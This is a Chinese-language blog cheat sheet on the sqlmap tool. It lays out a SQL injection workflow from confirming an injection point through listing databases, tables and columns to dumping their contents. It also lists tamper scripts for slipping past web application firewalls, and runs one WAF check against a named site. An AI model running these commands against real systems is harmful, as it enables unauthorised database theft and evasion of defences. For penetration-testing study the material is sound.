Ywc

Sqlmap 使用总结

Word count: 820 / Reading time: 3 min
2018/07/05 Share

--batch 在运行过程中无需做出判断

sqlmap 判断waf sqlmap -u "http://www.sch01ar.com/" --identify-waf --batch

sqlmap使用大全:http://www.php.cn/php-weizijiaocheng-391039.html

http://www.vuln.cn/1992
Sqlmap的命令介绍,中英文对照

参考:http://www.51xkx.cn/?p=228

https://blog.csdn.net/zgyulongfei/article/details/41017493

https://www.cnblogs.com/r00tuser/p/7252796.html

https://www.cnblogs.com/handt/p/855fc3559d82e3f133a0bc314bfedc29.html

一般注入流程(mysql):

1.验证注入

1
sqlmap -u “注入点URL”

从中可以发现存在注入的类型,数据库类型和web应用程序PHP和Apache等版本信息。

2.列举数据库名

1
2
sqlmap -u "注入点" --dbs
sqlmap -u "注入点" --current-db #列举当前使用的数据库

3.查询某一数据库的所有表名

1
sqlmap -u "注入点" -D 数据库名 --tables

4.列举这一数据库的表的所有列(字段)

1
sqlmap -u "注入点" -D 数据库名 -T 表名 --columns

5.暴字段内容

1
sqlmap -u "注入点" -D 数据库名 -T 表名 -C "要爆的字段名" --dump

爆一个字段的话可能会很慢或者出错,全部暴出最好。

可以在后面加个 –batch 可以不用手动选择yes或no的选项。

其他:

sqlmap tamper 的使用

可以进行各种绕过防火墙和waf

1
--tamper xxx.py  (.py可以不加)

eg:python sqlmap.py -u “” – tamper base64encode.py
1.普通的tamper搭配方式:

1
2
3
4
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,
charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,
nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,
space2randomblank,unionalltounion,unmagicquotes

2.数据库为MSSQL的搭配方式:

1
2
3
4
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,
nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,
space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,
unmagicquotes

3.数据库为Mysql的搭配方式:

1
2
3
4
5
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,
greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,
multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,
space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,
versionedkeywords,versionedmorekeywords,xforwardedfor

4.常用脚本用法:

apostrophemask.py UTF-8编码
apostrophenullencode.py unicode编码
appendnullbyte.py 添加%00
base64encode.py base64编码
between.py 以”not between”替换”>“
bluecoat.py 以随机的空白字符替代空格,以”like”替代”=“
chardoubleencode.py 双重url编码
charencode.py url编码
charunicodeencode.py 对未进行url编码的字符进行unicode编码
equaltolike.py 以”like”替代”=“
halfversionedmorekeywords.py在每个关键字前添加条件注释
ifnull2ifisnull.py 以”IF(ISNULL(A), B, A)”替换”IFNULL(A, B)”
modsecurityversioned.py 条件注释
modsecurityzeroversioned.py 条件注释,0000
multiplespaces.py 添加多个空格
nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)
percentage.py 在每个字符前添加百分号(%)
randomcase.py 随即大小写
randomcomments.py 随机插入区块注释
sp_password.py 语句结尾添加”sp_password”迷惑数据库日志(很。。。)
space2comment.py 以区块注释替换空格
space2dash.py 以单行注释”–”和随机的新行替换空格
space2hash.py 以单行注释”#”和由随机字符组成的新行替换空格
space2morehash.py 没看出来和上面那个有什么区别。。
space2mssqlblank.py 以随机空白字符替换空格
space2mssqlhash.py 以单行注释”#”和新行替换空格
space2mysqlblank.py 以随机空白字符替换空格
space2mysqldash.py 以单行注释和新行替换空格
space2plus.py 以”+”替换空格
space2randomblank.py 随机空白字符替换空格
unionalltounion.py 以”union all”替换”union”
unmagicquotes.py 以”%bf%27”替换单引号,并在结尾添加注释”–”
versionedkeywords.py 对不是函数的关键字条件注释
versionedmorekeywords.py 对关键字条件注释

原文作者: Ywc

原文链接: https://yinwc.github.io/2018/07/05/sqlmap/

发表日期: July 5th 2018, 1:20:40 pm

版权声明:

CATALOG
  1. 1. 一般注入流程(mysql):
  2. 2. 其他:
    1. 2.1. sqlmap tamper 的使用